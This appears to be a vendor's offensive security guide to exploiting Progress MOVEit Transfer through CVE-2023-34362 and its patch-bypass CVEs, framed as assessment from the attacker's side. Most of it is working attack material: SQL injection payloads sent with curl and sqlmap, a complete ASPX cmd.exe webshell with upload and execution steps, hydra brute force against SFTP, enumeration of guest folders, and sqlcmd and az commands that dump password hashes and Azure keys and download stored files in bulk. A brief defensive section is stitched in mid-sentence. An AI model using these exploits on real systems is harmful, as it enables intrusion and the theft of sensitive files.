Progress MOVEit Transfer is a widely deployed managed file transfer (MFT) platform used by enterprises, healthcare organizations, financial institutions, and government agencies to move sensitive data at scale — which is precisely why Cl0p's exploitation of CVE-2023-34362 in May–June 2023 became one of the most damaging supply-chain-style mass exploitation events on record, compromising 2,000+ organizations including the BBC, British Airways, Shell, and multiple US government agencies. The core issue: a pre-authentication SQL injection vulnerability in the moveitisapi web layer allowed unauthenticated attackers to execute arbitrary SQL, create rogue admin accounts, deploy webshells, and exfiltrate every file ever transferred through the platform. MOVEit stores file content directly in the database — meaning SQL access equals complete data theft. This guide covers systematic MOVEit Transfer security assessment from the attacker's perspective.
CVE-2023-34362 is a pre-authentication SQL injection vulnerability in the MOVEit Transfer web application, rated CVSS 9.8. The vulnerability exists in the moveitisapi ISAPI handler running under IIS on Windows. Unauthenticated HTTP requests to the human.aspx endpoint can inject arbitrary SQL into the underlying MSSQL or MySQL database without any credentials. The Cl0p ransomware group exploited this at scale beginning 27 May 2023, with activity confirmed in over 2,000 organizations across 60+ countries. Two patch-bypass vulnerabilities — CVE-2023-35036 and CVE-2023-35708 — were disclosed within days of the initial fix, confirming that the vulnerability class was deeper than a single input parameter.
The exploit chain proceeds in three stages: (1) SQL injection via the human.aspx session token parameter to enumerate or insert database records, (2) creation of a rogue sysadmin account in the moveitmf_users table, (3) webshell upload via the newly created admin account to achieve OS-level code execution.
# CVE-2023-34362 — MOVEit Transfer pre-auth SQL injection reconnaissance
MOVEIT_URL="https://moveit.example.com"
# Step 1: Confirm MOVEit Transfer is running and identify version
curl -sk -I "${MOVEIT_URL}/human.aspx" 2>/dev/null | grep -E "Server:|X-Powered-By:|Set-Cookie:|Location:"
# Look for: ASP.NET session cookies (MOVEit_webapp_), IIS Server header
# MOVEit Transfer runs exclusively on Windows IIS + ASP.NET
# Confirm the moveitisapi handler
curl -sk -o /dev/null -w "%{http_code}" "${MOVEIT_URL}/moveitisapi/moveitisapi.dll?action=m" 2>/dev/null
# 200 or 302 = MOVEit isapi layer present; 404 = different path or not MOVEit
# Step 2: Enumerate version via X-MOVEit-Version header or login page source
curl -sk "${MOVEIT_URL}/human.aspx" 2>/dev/null | grep -iE "version|MOVEit|Copyright Progress" | head -5
curl -sk "${MOVEIT_URL}/machine.aspx" 2>/dev/null | grep -iE "version|build" | head -5
# Vulnerable versions (unpatched):
# 2023.0.0 (15.0) — patched in 2023.0.1
# 2022.1.x (14.1) — patched in 2022.1.5
# 2022.0.x (14.0) — patched in 2022.0.4
# 2021.1.x (13.1) — patched in 2021.1.4
# 2021.0.x (13.0) — patched in 2021.0.6
# 2020.1.x (12.1) — patched in 2020.1.10
# All older versions — EOL, unpatched, fully vulnerable
# Step 3: CVE-2023-34362 — SQL injection proof of concept
# The vulnerability is in the X-siLock-SessID header / session token parameter
# A time-based blind SQLi payload confirms exploitability
# Time-based blind SQLi against MSSQL backend
curl -sk -X POST "${MOVEIT_URL}/moveitisapi/moveitisapi.dll?action=m" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-siLock-SessID: ';WAITFOR DELAY '0:0:5'--" \
-d "arg1=x" \
--max-time 10 \
-w "\nTime: %{time_total}s\n" 2>/dev/null
# Response time >= 5s confirms MSSQL blind SQLi is live
# MySQL backend time-based variant
curl -sk -X POST "${MOVEIT_URL}/moveitisapi/moveitisapi.dll?action=m" \
-H "X-siLock-SessID: '; SELECT SLEEP(5)--" \
-d "arg1=x" \
--max-time 10 \
-w "\nTime: %{time_total}s\n" 2>/dev/null
# Step 4: Enumerate the database schema via error-based SQLi
# MOVEit uses a database named moveitmf (MSSQL) or moveit (MySQL)
# Key tables: moveitmf_users, moveitmf_files, moveitmf_filedata, moveitmf_folders
# MSSQL — enumerate table names via error-based exfiltration
curl -sk -X POST "${MOVEIT_URL}/moveitisapi/moveitisapi.dll?action=m" \
-H "X-siLock-SessID: '; SELECT TOP 1 table_name FROM information_schema.tables FOR XML PATH('')--" \
-d "arg1=x" 2>/dev/null
# Step 5: Create rogue sysadmin account (Cl0p TTP — full admin takeover)
# MOVEit stores password as SHA-1 hash of InstCode+Password+Salt
# Simpler: insert admin flag directly into existing session or user record
# sqlmap-style automated exploitation (MSSQL, blind, risk 3 level 5)
sqlmap -u "${MOVEIT_URL}/moveitisapi/moveitisapi.dll?action=m" \
--data="arg1=x" \
--headers="X-siLock-SessID: *" \
--dbms=mssql \
--technique=TBQ \
--level=5 --risk=3 \
--batch \
--dbs 2>/dev/null
# Dump: moveitmf database → moveitmf_users, moveitmf_files, moveitmf_filedata
# Step 6: CVE-2023-35036 and CVE-2023-35708 — patch bypass variants
# Progress patched CVE-2023-34362 on 31 May 2023
# CVE-2023-35036 disclosed 9 June 2023 — different injection point in OData endpoint
# CVE-2023-35708 disclosed 15 June 2023 — additional SQLi bypass in same ISAPI layer
# CVE-2023-35036 — OData endpoint SQLi (bypass for first patch)
curl -sk "${MOVEIT_URL}/api/v1/folders?%24filter=startswith(name,'x')" \
-H "Authorization: Bearer FUZZ" 2>/dev/null | head -20
# Inject into OData $filter parameter — blind SQLi in OData query handling
# CVE-2023-35708 — alternate parameter injection (bypass for second patch)
curl -sk -X POST "${MOVEIT_URL}/moveitisapi/moveitisapi.dll" \
-H "X-siLock-Comment: '; SELECT @@version--" \
-d "action=m&arg1=x" 2>/dev/nullThe webshell deployed by Cl0p was named human2.aspx — a deliberate choice to blend in with the legitimate human.aspx endpoint. The shell was uploaded to the MOVEit Transfer web root at C:\MOVEitTransfer\wwwroot\ via the authenticated file upload functionality after the rogue admin account was created through SQL injection.
# Webshell deployment — replicating the Cl0p persistence mechanism
MOVEIT_URL="https://moveit.example.com"
ROGUE_USER="svcadmin"
ROGUE_PASS="P@ssw0rd2023!"
# After rogue admin creation via SQLi, authenticate to the web UI
# MOVEit uses ASP.NET Forms Authentication — POST to human.aspx
SESSION=$(curl -sk -c /tmp/moveit_cookies.txt \
-X POST "${MOVEIT_URL}/human.aspx" \
-d "Username=${ROGUE_USER}&Password=${ROGUE_PASS}&rm=&continueURL=" \
-w "%{redirect_url}" -o /dev/null 2>/dev/null)
echo "Redirect: ${SESSION}"
# Check session established
curl -sk -b /tmp/moveit_cookies.txt \
"${MOVEIT_URL}/human.aspx" 2>/dev/null | grep -i "logged in\|Welcome\|admin" | head -3
# Upload webshell via MOVEit admin file upload
# Cl0p used a minimal ASPX webshell — human2.aspx
cat > /tmp/human2.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request.Params["c"];
if(!string.IsNullOrEmpty(cmd)){
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("" + p.StandardOutput.ReadToEnd() + "
");
}
%>
EOF
# Upload via authenticated session to MOVEit web root
# MOVEit admin file manager allows uploads to system folders
curl -sk -b /tmp/moveit_cookies.txt \
-X POST "${MOVEIT_URL}/human.aspx?action=m&type=file" \
-F "file=@/tmp/human2.aspx;type=text/plain" \
-F "uploaddir=C:\\MOVEitTransfer\\wwwroot\\" 2>/dev/null | head -20
# Verify webshell execution
curl -sk "${MOVEIT_URL}/human2.aspx?c=whoami" 2>/dev/null
# Expected: nt authority\system (MOVEit IIS app pool often runs as SYSTEM)
# Cl0p data exfiltration commands observed in incident reports
curl -sk "${MOVEIT_URL}/human2.aspx?c=dir+C:\\MOVEitTransfer\\Files\\" 2>/dev/null
curl -sk "${MOVEIT_URL}/human2.aspx?c=sqlcmd+-S+localhost+-d+moveitmf+-Q+\"SELECT+TOP+10+Username,Password+FROM+moveitmf_users\"" 2>/dev/null
# Filesystem paths on a standard MOVEit Transfer Windows installation
# C:\MOVEitTransfer\ — application root
# C:\MOVEitTransfer\wwwroot\ — IIS web root (webshell target)
# C:\MOVEitTransfer\wwwroot\human.aspx — main web UI
# C:\MOVEitTransfer\wwwroot\machine.aspx — API endpoint
# C:\MOVEitTransfer\wwwroot\guestaccess.aspx — anonymous access endpoint
# C:\MOVEitTransfer\Files\ — file storage (if not DB/Azure mode)
# C:\MOVEitTransfer\Logs\ — audit and error logs
# C:\Program Files\MOVEit\ — installer and config files
# Check for indicators of prior compromise (blue team perspective)
# Unexpected files in wwwroot beside human.aspx, machine.aspx, guestaccess.aspx
dir "C:\MOVEitTransfer\wwwroot\" /b /a-d | findstr /v "human.aspx machine.aspx guestaccess.aspx"
# Check IIS logs for POST requests to human.aspx from unexpected IPs
# Path: C:\inetpub\logs\LogFiles\W3SVC1\
# Look for: POST /moveitisapi/moveitisapi.dll and POST /human.aspx from external IPsMOVEit Transfer exposes multiple protocol endpoints: HTTPS (port 443) for the web UI and API, SFTP (port 22 or 2222 by default) for SSH File Transfer Protocol access, FTP/FTPS (port 21/990) if enabled, and an AS2 endpoint for EDI workflows. The SFTP surface is particularly interesting because MOVEit implements its own SFTP server stack (not OpenSSH), which means standard SSH hardening does not apply and brute-force controls may differ from OS-level SSH configuration.
# MOVEit Transfer — SFTP and web interface attack surface enumeration
MOVEIT_HOST="moveit.example.com"
MOVEIT_URL="https://${MOVEIT_HOST}"
# Step 1: Service discovery — identify all exposed MOVEit endpoints
nmap -sV -p 21,22,443,990,2222,8443 "${MOVEIT_HOST}" 2>/dev/null
# MOVEit SFTP may run on 22 or a custom port (2222 common)
# Look for: SSH banner identifying MOVEit, not OpenSSH
# Grab SFTP server banner — MOVEit vs standard OpenSSH
ssh -o BatchMode=yes -o ConnectTimeout=5 "${MOVEIT_HOST}" 2>&1 | head -5
# MOVEit banner: "SSH-2.0-MOVEit" or "SSH-2.0-ARCA_SFTP"
# Older versions expose the MOVEit version in the SSH banner
# Step 2: SFTP credential enumeration
# MOVEit usernames are the same across SFTP and web UI
# Common default/weak accounts to test
for CRED in "admin:admin" "moveit:moveit" "sysadmin:Admin1234" \
"transfer:transfer" "ftpuser:password" "service:Service1!" \
"guest:guest" "testuser:Test1234" "mfuser:MOVEit1234"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESULT=$(sshpass -p "${PASS}" sftp -o StrictHostKeyChecking=no \
-o ConnectTimeout=5 -o BatchMode=no \
"${USER}@${MOVEIT_HOST}" 2>&1 | head -3)
echo "${USER}:${PASS} => ${RESULT}"
done
# Hydra SFTP brute force against MOVEit
hydra -L /usr/share/wordlists/usernames.txt \
-P /usr/share/wordlists/rockyou.txt \
-t 4 -V -f \
ssh://"${MOVEIT_HOST}":22 2>/dev/null | grep "login:"
# Step 3: Web interface attack surface — human.aspx and machine.aspx
# human.aspx — browser-facing web UI (form authentication)
# machine.aspx — machine-to-machine API (token authentication)
# guestaccess.aspx — unauthenticated anonymous file access
# Test guestaccess.aspx — anonymous file download without authentication
curl -sk -I "${MOVEIT_URL}/guestaccess.aspx" 2>/dev/null
# 200 = anonymous access endpoint is live
# This endpoint allows unauthenticated download of files shared via "guest link"
# Misconfiguration: if folder-level guest access is enabled, browse entire tree
# Enumerate publicly accessible guest links (predictable URL structure)
# MOVEit guest links follow: /guestaccess.aspx?folderid=XXXXX&filename=YYYYY&fd=1
# Folder IDs are sequential integers — enumerate them
for FOLDERID in $(seq 1 200); do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
"${MOVEIT_URL}/guestaccess.aspx?folderid=${FOLDERID}&fd=1" 2>/dev/null)
if [ "${STATUS}" = "200" ]; then
echo "Guest folder accessible: folderid=${FOLDERID}"
curl -sk "${MOVEIT_URL}/guestaccess.aspx?folderid=${FOLDERID}&fd=1" 2>/dev/null \
| grep -oE 'filename=[^&"]+' | head -10
fi
done
# Step 4: machine.aspx API endpoint — machine-to-machine token testing
# The MOVEit Transfer REST API uses API tokens (not session cookies)
# Test for unauthenticated API access and token enumeration
# Check API endpoint availability
curl -sk "${MOVEIT_URL}/api/v1/" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'API version: {d.get(\"product\",\"\")} {d.get(\"version\",\"\")}')
print(f'Auth required: {d.get(\"authRequired\",True)}')
except:
print(sys.stdin.read()[:200])
" 2>/dev/null
# Attempt token-based auth — MOVEit API uses Bearer tokens
# Tokens are obtained via POST /api/v1/token
curl -sk -X POST "${MOVEIT_URL}/api/v1/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=admin&password=Admin1234" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'access_token: {d.get(\"access_token\",\"FAIL\")}')
print(f'token_type: {d.get(\"token_type\",\"\")}')
print(f'expires_in: {d.get(\"expires_in\",\"\")}')
" 2>/dev/null
# With a valid token — enumerate folders and files via REST API
TOKEN="your-moveit-api-token"
curl -sk "${MOVEIT_URL}/api/v1/folders" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
items = d.get('items',[])
print(f'Folders: {len(items)}')
for f in items[:10]:
print(f' [{f.get(\"id\")}] {f.get(\"name\")} path={f.get(\"path\")} files={f.get(\"fileCount\",0)}')
" 2>/dev/null
# Enumerate users via REST API (admin token required)
curl -sk "${MOVEIT_URL}/api/v1/users" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
items = d.get('items',[])
print(f'Users: {len(items)}')
for u in items[:15]:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} {u.get(\"email\")} admin={u.get(\"sysAdmin\")} active={u.get(\"status\")}')
print(f' lastLogin={u.get(\"lastLoginDateTime\")} homeFolderID={u.get(\"homeFolderID\")}')
" 2>/dev/nullThe most damaging aspect of CVE-2023-34362 exploitation is what SQL injection access yields: MOVEit Transfer stores transferred file content directly in the database by default. The moveitmf_filedata table in MSSQL (or moveit_filedata in MySQL) contains the actual binary file content as a VARBINARY/BLOB column. Every file that has ever passed through the MOVEit instance — payroll data, healthcare records, legal documents, source code, credentials files — is sitting in this table, queryable via SQL. Additionally, MOVEit supports Azure Blob Storage as an alternative file backend, and the Azure connection string (including the storage account key) is stored in the MOVEit configuration database and configuration files on disk.
# MOVEit Transfer — MSSQL database extraction
# Default database: moveitmf (MSSQL) or moveit (MySQL)
# MSSQL runs on localhost:1433, authenticated as moveitdb service account
# Connection string typically in: C:\MOVEitTransfer\moveitdmz.ini or registry
# Step 1: Find the database connection string
# Registry path (MOVEit Transfer 2020+)
reg query "HKLM\SOFTWARE\Standard Networks\siNet" /s 2>/dev/null | grep -iE "DBHost|DBName|DBUser|DBPass"
# Config file
type "C:\MOVEitTransfer\moveitdmz.ini" 2>nul | findstr /i "DB Password Host"
type "C:\Program Files\MOVEit\DMZ\moveitdmz.ini" 2>nul | findstr /i "DB Password Host"
# Step 2: Connect to MOVEit MSSQL database and extract credentials
# Run as SYSTEM via webshell or local admin
sqlcmd -S localhost -d moveitmf -Q "SELECT @@version" 2>/dev/null
# Or via Windows Authentication if running as SYSTEM
# Enumerate all MOVEit database tables
sqlcmd -S localhost -d moveitmf -Q "
SELECT TABLE_NAME, TABLE_TYPE
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
ORDER BY TABLE_NAME
" 2>/dev/null
# Key tables: moveitmf_users, moveitmf_files, moveitmf_filedata,
# moveitmf_folders, moveitmf_auditlogs, moveitmf_settings,
# moveitmf_groupmembers, moveitmf_addresses
# Step 3: Extract user credentials
sqlcmd -S localhost -d moveitmf -Q "
SELECT TOP 20
u.LoginName,
u.FullName,
u.Email,
u.Password, -- SHA-1 hash: InstCode + plaintext + salt
u.PasswordSalt,
u.SysAdmin,
u.Permission,
u.LastLoginDate,
u.Status,
u.HomeFolder
FROM moveitmf_users u
ORDER BY u.SysAdmin DESC, u.LastLoginDate DESC
" 2>/dev/null
-- Password format: SHA1(InstallationCode + Password + PasswordSalt)
-- InstallationCode is stored in moveitmf_settings table
-- With InstCode, offline cracking of common passwords is feasible
-- Get the installation code (used as pepper for password hashing)
sqlcmd -S localhost -d moveitmf -Q "
SELECT SettingName, SettingValue
FROM moveitmf_settings
WHERE SettingName IN ('InstCode','SiteName','LicenseKey','AzureStorageAccount','AzureStorageKey','AzureContainerName')
" 2>/dev/null
-- AzureStorageAccount / AzureStorageKey = CRITICAL if Azure Blob backend configured
# Step 4: Extract Azure Blob Storage credentials (if configured)
# MOVEit supports Azure Blob as file storage backend
# Connection string components stored in moveitmf_settings
sqlcmd -S localhost -d moveitmf -Q "
SELECT SettingName, SettingValue
FROM moveitmf_settings
WHERE SettingName LIKE 'Azure%'
OR SettingName LIKE '%Storage%'
OR SettingName LIKE '%Blob%'
" 2>/dev/null
# Alternative: config file on disk
type "C:\MOVEitTransfer\moveitdmz.ini" 2>nul | findstr /i "Azure Storage Account Key Container"
# AzureStorageAccount =
# AzureStorageKey =
# AzureContainerName =
# With the storage account key, authenticate to Azure and access ALL files
# (including files no longer tracked in MOVEit — Azure retains until deleted)
az storage blob list \
--account-name "moveit-storage-acct" \
--account-key "base64_key_here==" \
--container-name "moveit-files" \
--output table 2>/dev/null
# Download all blobs from the Azure container
az storage blob download-batch \
--account-name "moveit-storage-acct" \
--account-key "base64_key_here==" \
--source "moveit-files" \
--destination "/tmp/moveit_exfil/" 2>/dev/null
# Step 5: File content extraction from MSSQL (if DB storage mode — the default)
# moveitmf_filedata contains actual file binary content
sqlcmd -S localhost -d moveitmf -Q "
SELECT TOP 10
f.Name,
f.FileSize,
f.UploadStamp,
f.DownloadCount,
fd.FileData, -- VARBINARY(MAX) — actual file content
f.FolderID
FROM moveitmf_files f
JOIN moveitmf_filedata fd ON f.ID = fd.FileID
ORDER BY f.UploadStamp DESC
" 2>/dev/null
# Extract files by folder path (target high-value folders)
sqlcmd -S localhost -d moveitmf -Q "
SELECT
fo.Path as FolderPath,
f.Name as FileName,
f.FileSize,
f.UploadStamp,
fd.FileData
FROM moveitmf_files f
JOIN moveitmf_filedata fd ON f.ID = fd.FileID
JOIN moveitmf_folders fo ON f.FolderID = fo.ID
WHERE fo.Path LIKE '%payroll%'
OR fo.Path LIKE '%finance%'
OR fo.Path LIKE '%hr%'
OR fo.Path LIKE '%legal%'
OR f.Name LIKE '%.csv'
OR f.Name LIKE '%.xlsx'
ORDER BY f.FileSize DESC
" 2>/dev/null
# Step 6: Audit log extraction — who transferred what and when
sqlcmd -S localhost -d moveitmf -Q "
SELECT TOP 50
a.Stamp,
a.EventType,
a.Username,
a.IPAddress,
a.FileName,
a.FolderPath,
a.FileSize,
a.Detail
FROM moveitmf_auditlogs a
ORDER BY a.Stamp DESC
" 2>/dev/null
-- Audit logs reveal: all file uploads, downloads, user logins, admin actions
-- Critical for understanding what data was accessed and by whom
# MySQL variant (MOVEit on Linux or MySQL backend)
mysql -u moveitdb -p -h 127.0.0.1 moveit 2>/dev/null << 'EOF'
-- User credentials
SELECT LoginName, FullName, Email, Password, PasswordSalt, SysAdmin
FROM moveitmf_users ORDER BY SysAdmin DESC LIMIT 20;
-- File listing with sizes
SELECT f.Name, f.FileSize, f.UploadStamp, fo.Path
FROM moveitmf_files f
JOIN moveitmf_folders fo ON f.FolderID = fo.ID
ORDER BY f.FileSize DESC LIMIT 20;
-- Extract file content (LONGBLOB column)
SELECT f.Name, LENGTH(fd.FileData) as bytes, fd.FileData
FROM moveitmf_files f
JOIN moveitmf_filedata fd ON f.ID = fd.FileID
ORDER BY f.UploadStamp DESC LIMIT 5;
EOF moveitisapi handler; place MOVEit behind a WAF with specific rules blocking SQL metacharacters in HTTP headers (particularly X-siLock-SessID and X-siLock-Comment); restrict the management interface (human.aspx admin functions) to specific internal IP ranges; the machine.aspx API endpoint should only be accessible from known integration partners via IP allowlistguestaccess.aspx endpoint enables unauthenticated file access via guest links; audit all folders configured with guest access enabled and confirm they are intentional; revoke guest links for folders containing sensitive data; if anonymous access is not a business requirement, disable it organization-wide in the MOVEit admin settings; be aware that guest link folder IDs are sequential integers and therefore enumerable by unauthenticated attackersmoveitmf_settings; a storage account key provides full read/write/delete access to the entire storage container including files no longer tracked in MOVEit; rotate the Azure storage account key immediately after any SQL injection incident; use a Shared Access Signature (SAS) token with minimum required permissions and expiry rather than the storage account key; restrict the storage account with Azure network rules so only the MOVEit server IP can connecthuman2.aspx in C:\MOVEitTransfer\wwwroot\; implement file integrity monitoring (FIM) on the MOVEit web root directory; any ASPX file not present in the original MOVEit installation should be treated as a webshell; the legitimate web root contains only a fixed set of .aspx files: human.aspx, machine.aspx, guestaccess.aspx, and a small number of supporting pages; set up Windows File Resource Manager (FSRM) to alert on new .aspx file creation in the wwwroot path| Security Test | Method | Risk |
|---|---|---|
| CVE-2023-34362 pre-auth SQL injection → RCE | POST to moveitisapi.dll with malicious X-siLock-SessID header — unauthenticated MSSQL/MySQL injection; time-based blind confirmation, then rogue sysadmin creation and webshell upload to wwwroot; full OS command execution as NT AUTHORITY\SYSTEM | Critical |
| MOVEit database file content extraction (moveitmf_filedata) | SELECT FileData FROM moveitmf_filedata JOIN moveitmf_files — every file ever transferred through the platform stored as VARBINARY(MAX) in MSSQL; SQL access via CVE-2023-34362 provides full file exfiltration without touching the filesystem | Critical |
| Azure Blob Storage account key extraction | SELECT SettingValue FROM moveitmf_settings WHERE SettingName = 'AzureStorageKey' — storage account key provides full access to entire Azure container; files persist in Azure even after deletion from MOVEit; key does not rotate automatically after SQL injection incident | Critical |
| User credential extraction and offline cracking | SELECT LoginName, Password, PasswordSalt FROM moveitmf_users + InstCode from moveitmf_settings — SHA-1(InstCode+Password+Salt) hash; SHA-1 weak to GPU cracking; sysadmin accounts enable full platform control and API token generation | High |
| guestaccess.aspx anonymous file access | Enumerate sequential folderid parameters in guestaccess.aspx — unauthenticated access to any folder configured with guest links; folder IDs are integers starting from 1; misconfigured guest access exposes sensitive file transfers to unauthenticated external parties | High |
| SFTP credential brute force | MOVEit implements its own SFTP server (not OpenSSH) — test with Hydra against SSH port; MOVEit SFTP lockout behavior differs from IIS web UI lockout; same credentials work across SFTP and web UI; SFTP access provides home folder file read/write without web application layer controls | High |
| Patch bypass variants (CVE-2023-35036, CVE-2023-35708) | OData $filter parameter injection (CVE-2023-35036) and alternate ISAPI parameter injection (CVE-2023-35708) — organizations that patched CVE-2023-34362 but not the follow-up CVEs remain fully exploitable via different injection vectors in the same application | Critical |
Ironimo tests MOVEit Transfer deployments for CVE-2023-34362/35036/35708 SQL injection exploitability, webshell presence in the wwwroot directory, Azure Blob Storage credential exposure in database settings, moveitmf_filedata file content accessibility, user password hash extraction and cracking feasibility, guestaccess.aspx anonymous folder enumeration, SFTP credential brute force exposure, machine.aspx API token misconfiguration, and audit log tampering indicators left by the Cl0p campaign.
Start free scan